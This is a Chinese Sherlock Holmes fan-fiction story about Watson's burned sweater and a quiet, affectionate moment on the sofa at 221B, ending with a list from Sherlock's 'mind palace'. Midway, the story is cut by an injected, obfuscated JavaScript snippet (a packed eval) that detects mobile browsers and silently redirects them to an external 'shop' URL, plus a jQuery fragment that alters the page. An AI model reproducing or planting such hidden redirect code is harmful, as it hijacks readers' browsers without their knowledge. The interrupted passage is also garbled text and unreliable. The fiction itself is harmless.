今天伦敦冷得不像话。
我翻遍了衣柜，发现那件蓝色毛衣不见了。就是那件——领口有点松，左袖肘部有一块我忘记缝的脱线，但穿起来很舒服的那件。我明明记得上周还穿过。
“夏洛克。”
没有回应。
“夏洛克！”
客厅方向传来一声含糊的“嗯”。我走出去，看见他躺在沙发上，膝盖上放着一本关于烟灰鉴别的旧书，腿上盖着——我的蓝色毛衣。
“那是我的毛衣。”
“我知道。”
“你盖着它干什么？”
“冷。”
我盯着他看了五秒钟。他继续翻书，完全没有要解释或者把毛衣还给我的意思。暖气片明明开着，室温至少有十八度，他穿着那件深蓝色睡袍，里面是那件我见他穿过无数次的白衬衫，领口敞着，看起来完全不冷。
“你可以开空调。”
“电费太贵。”
“你什么时候在意过电费？”
他翻了一页书。“从上次哈德森太太拿着电费账单在我耳边尖叫开始。”
我走过去，想把毛衣拿回来。但走近了才发现——毛衣上有个洞。不是我左袖肘部那个，是另一个。袖口附近，一个被什么东西烧过的小洞，边缘焦黑，像是被烟头烫的。
“这是怎么回事？”
他抬眼看了看我指的地方。“实验事故。”
“你用我的毛衣做实验？”
“严格来说，是它刚好放在实验台旁边。”
我深吸一口气。告诉自己不要生气。告诉自己这是夏洛克·福尔摩斯，他对私人财产的概念和对外星人的概念一样模糊。
“所以你现在盖着它是因为——？”
“冷。”他又说了一遍，然后把书往上抬了抬，挡住自己的脸。
我看着他。他也看不见我，但我知道他在书后面听着。
五秒钟。十秒钟。
“约翰。”他的声音从书后面传来，闷闷的。“你可以坐这儿。”
我低头看了看沙发。他占据了大半张，腿伸得很长，只有脚边有一小块空位。
“坐你脚边？”
“或者去搬把椅子。”书没动。“但椅子没有我的体温。”
“……”
“而且你的毛衣在这儿。”他又补充。
我站在那里，觉得自己正在被某种奇怪的逻辑绕进去。最后我也不知道为什么，总之我坐下了——坐在沙发扶手上，紧挨着他的膝盖。
他没说话。过了一会儿，他放下书，把腿挪了挪，给我腾出更多地方。然后他把那件毛衣的一角递给我。
“盖腿。”他说。“你刚才出来的时候没穿外套。”
我低头一看，自己确实只穿着一件薄T恤。不知道什么时候从卧室走出来的，大概是被“我的毛衣在他身上”这件事气昏了头。
我把毛衣接过来，盖在腿上。确实暖和。还带着一点他的味道——不是香水，他从来不用那种东西，是某种更淡的，烟草、旧书、还有一点点实验室化学品混合在一起的味道。
“那个洞，”他突然说，“我会补。”
我转头看他。他正盯着天花板，表情很平静，像是什么都没说过。
“你会补衣服？”
“理论上知道步骤。”
“理论上。”
“实践可能需要你的指导。”
我看着他的侧脸。他的睫毛很长，在灯光下投下一小片阴影。不知道从什么时候开始，我发现自己在注意这些细节——不是作为医生观察病人，而是作为……作为什么？我不知道。
“夏洛克。”
“嗯？”
“你刚才为什么不直接说，你把我的毛衣弄坏了，所以你想办法补偿我？”
他沉默了一会儿。
“因为那样就需要解释我为什么用你的毛衣做实验。”他说。“而解释那个就需要解释实验的内容。解释实验的内容就需要解释我最近在追的那个案子。解释那个案子——”
“就会花很长时间。”
“是的。”
“所以你选择直接拿走毛衣，盖在身上，等我发现？”
“这个方案更高效。”
我忍不住笑了。“你知不知道，这整个操作——从‘用别人毛衣做实验’到‘躺在沙发上盖着它等对方发现’——比你直接坦白要复杂得多？”
他又沉默了。这次沉默很长，长到我以为他不打算回答了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301104|198632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然后他开口，声音比平时轻一点。
“但如果我直接坦白，你就不会坐在这里。”
我愣住了。
他看着天花板。我看着他。
客厅里只有暖气片的咔哒声。窗外的伦敦还是那个伦敦，车流声隐隐约约，像是一层遥远的背景音。贝克街221B的这间客厅，在这一刻，好像和整个世界隔开了。
“夏洛克。”我说。
“什么？”
“下次你冷，可以直接说。”
他没回答。但过了一会儿，他往我这边挪了挪。只是一点点，大概几厘米，但他的膝盖碰到了我的腿。
我把毛衣往他那边也盖了盖。
我们就这样坐着，谁也没说话。哈德森太太在楼下放广播，隐约能听见是某个老歌节目。暖气片还在咔哒响。伦敦的冬天在外面，但在这个沙发上，好像没那么冷了。
后来我想，也许这就是和夏洛克·福尔摩斯同居的日常。不是那些追逐罪犯的夜晚，不是那些惊心动魄的对峙，而是这样的时刻——一件被烧坏的毛衣，一个不解释的解释，和一个刚刚好的沉默。
我把这些写下来，不是为了记录。
只是因为，有些瞬间，值得被记住。
---
同一时间，夏洛克·福尔摩斯的思维宫殿
条目：华生的毛衣
·材质：棉50%，羊毛50%
·来源：不确定，可能是某次圣诞礼物
·穿着频率：每周约2-3次，通常在非值班日
·左袖肘部脱线：存在约3个月，未修补，说明华生不认为它重要到需要立即处理，或者他享受这种“旧物舒适感”
·袖口新洞：由浓硫酸造成，实验编号#472，已记录
·补救措施：1. 占为己有等待被发现；2. 提出修补；3. 让他坐过来
·结果：成功。他现在坐在旁边，腿上有同一条毛衣，体温正常，嘴角有0.3厘米上扬，表明心情良好。
结论：
这是一个可以存档的数据点。
不。
重新分类：
这是一个不能归档的数据点。
它需要被记住。